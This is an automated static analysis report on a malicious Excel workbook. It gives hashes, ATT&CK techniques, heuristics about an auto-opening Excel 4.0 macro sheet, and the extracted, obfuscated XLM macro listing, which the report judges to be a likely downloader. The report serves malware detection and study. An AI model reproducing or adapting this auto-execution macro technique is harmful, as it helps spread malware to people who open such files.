Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b28c92a0977703b…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:51 Authoring application: Microsoft Excel First seen: 2021-09-27
MD5: d7a9da19af3a3d35fa3b788afed224e2 SHA-1: eeee0f645a04e1f153ca28be44b8eb01bc1a5eec SHA-256: 8b28c92a0977703b79e77c96ac9a013e0603019919889588fe87d523c672789d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, specifically using dangerous formula APIs like RUN. This suggests the macro is designed to execute arbitrary code upon opening the workbook. The presence of a macro sheet and the Auto_Open defined name strongly point towards an attempt to automatically run malicious code, likely a downloader for a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6655 bytes
SHA-256: bced276c055f570838381eec34094dc1804b961c9ef2e880bbb376dfede8d098
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sIbLS
' 0018     24 LABEL : Cell Value, String Constant - abgpVWiiF len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G178 
' 0018     23 LABEL : Cell Value, String Constant - BhsyJViM len=0 
' 0018     26 LABEL : Cell Value, String Constant - DqTpShmdRXT len=0 
' 0018     20 LABEL : Cell Value, String Constant - EwxqG len=0 
' 0018     21 LABEL : Cell Value, String Constant - FCVlUW len=0 
' 0018     24 LABEL : Cell Value, String Constant - GFgdpCohS len=0 
' 0018     24 LABEL : Cell Value, String Constant - gyFBBawYP len=0 
' 0018     27 LABEL : Cell Value, String Constant - hktHMlznjkFw len=0 
' 0018     24 LABEL : Cell Value, String Constant - HLreFTmIP len=0 
' 0018     25 LABEL : Cell Value, String Constant - hTZvLtVfPZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - KiybWKT len=0 
' 0018     21 LABEL : Cell Value, String Constant - KljIZf len=0 
' 0018     24 LABEL : Cell Value, String Constant - lHQyKCObI len=0 
' 0018     21 LABEL : Cell Value, String Constant - LPmUbv len=0 
' 0018     22 LABEL : Cell Value, String Constant - metHFvC len=0 
' 0018     26 LABEL : Cell Value, String Constant - nleUacVPNar len=0 
' 0018     26 LABEL : Cell Value, String Constant - SWsOsZwxhzs len=0 
' 0018     25 LABEL : Cell Value, String Constant - WgaPhGAawQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - wkdhhNWtxLc len=0 
' 0018     22 LABEL : Cell Value, String Constant - wwFSqGV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sIbLS,G79,"SET.NAME("gyFBBawYP",0+VALUE("0"))",""
'  sIbLS,G83,"SET.NAME("BhsyJViM",gyFBBawYP)",""
'  sIbLS,T87,"",350.00000000000000000000
'  sIbLS,G88,"SET.NAME("HLreFTmIP",gyFBBawYP)",""
'  sIbLS,T88,"",-785.00000000000000000000
'  sIbLS,T89,"",-966.00000000000000000000
'  sIbLS,T90,"",-830.00000000000000000000
'  sIbLS,T91,"",975.00000000000000000000
'  sIbLS,G92,"SET.NAME("abgpVWiiF",COUNTA(hktHMlznjkFw))",""
'  sIbLS,T92,"",607.00000000000000000000
'  sIbLS,G97,"SET.NAME("FCVlUW",COUNTA(nleUacVPNar))",""
'  sIbLS,G102,[],""
'  sIbLS,G105,"SET.NAME("DqTpShmdRXT","")",""
'  sIbLS,G108,"BhsyJViM",""
'  sIbLS,G110,"SET.NAME("KljIZf",HLOOKUP("*",hktHMlznjkFw,BhsyJViM,FALSE))",""
'  sIbLS,G114,"metHFvC",""
'  sIbLS,G119,"SET.NAME("KiybWKT",gyFBBawYP)",""
'  sIbLS,G123,[],""
'  sIbLS,G125,"KiybWKT",""
'  sIbLS,G130,"WgaPhGAawQ",""
'  sIbLS,G135,"lHQyKCObI",""
'  sIbLS,G137,"wkdhhNWtxLc",""
'  sIbLS,G142,"SET.NAME("hTZvLtVfPZ",VALUE(HLOOKUP("*",nleUacVPNar,wkdhhNWtxLc,FALSE)))",""
'  sIbLS,G147,"EwxqG",""
'  sIbLS,G150,"DqTpShmdRXT",""
'  sIbLS,G153,"HLreFTmIP",""
'  sIbLS,G158,NEXT(),""
'  sIbLS,G160,"SWsOsZwxhzs",""
'  sIbLS,G164,[],""
'  sIbLS,G168,"LPmUbv",""
'  sIbLS,G170,NEXT(),""
'  sIbLS,G174,RETURN(),""
'  sIbLS,G204,"SET.NAME("GFgdpCohS",G79)",""
'  sIbLS,G207,"hktHMlznjkFw",""
'  sIbLS,G210,"SET.NAME("nleUacVPNar",R57C11)",""
'  sIbLS,G214,"SET.NAME("LPmUbv",222)",""
'  sIbLS,G216,"SET.NAME("wwFSqGV",7)",""
'  sIbLS,G221,GFgdpCohS(),""
'  sIbLS,G222,HALT(),""